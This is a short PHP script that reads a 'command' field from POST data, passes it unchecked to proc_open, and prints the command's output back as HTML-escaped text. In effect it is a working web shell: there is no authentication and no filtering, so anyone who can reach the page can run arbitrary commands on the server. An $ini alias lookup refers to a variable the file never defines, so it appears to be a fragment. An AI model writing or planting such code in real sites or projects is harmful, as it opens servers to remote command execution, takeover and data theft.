<?php

function stripslashes_deep($value)
{
    if (is_array($value)) {
        return array_map('stripslashes_deep', $value);
    } else {
        return stripslashes($value);
    }
}

if (get_magic_quotes_gpc()) {
    $_POST = stripslashes_deep($_POST);
}

$command = isset($_POST['command']) ? $_POST['command']  : '';

if (!empty($command)) {
	/* Now append the command to the output. */
	$output = htmlspecialchars('$ ' . $command, ENT_COMPAT, 'UTF-8') . "\n";

	/* Alias expansion. */
	$length = strcspn($command, " \t");
	$token = substr($command, 0, $length);
	if (isset($ini['aliases'][$token])) {
		$command = $ini['aliases'][$token] . substr($command, $length);
	}
	$io = array();
	$p = proc_open(
		$command,
		array(1 => array('pipe', 'w'),
			  2 => array('pipe', 'w')),
		$io
	);

	/* Read output sent to stdout. */
	while (!feof($io[1])) {
		$line=fgets($io[1]);
		if (function_exists('mb_convert_encoding')) {
			/* (hopefully) fixes a strange "htmlspecialchars(): Invalid multibyte sequence in argument" error */
			$line = mb_convert_encoding($line, 'UTF-8', 'UTF-8');
		}
		$output .= htmlspecialchars($line, ENT_COMPAT, 'UTF-8');
	}
	/* Read output sent to stderr. */
	while (!feof($io[2])) {
		$line=fgets($io[2]);
		if (function_exists('mb_convert_encoding')) {
			/* (hopefully) fixes a strange "htmlspecialchars(): Invalid multibyte sequence in argument" error */
			$line = mb_convert_encoding($line, 'UTF-8', 'UTF-8');
		}
		$output .= htmlspecialchars($line, ENT_COMPAT, 'UTF-8');
	}

	fclose($io[1]);
	fclose($io[2]);
	proc_close($p);
	
	echo $output;
}
?>
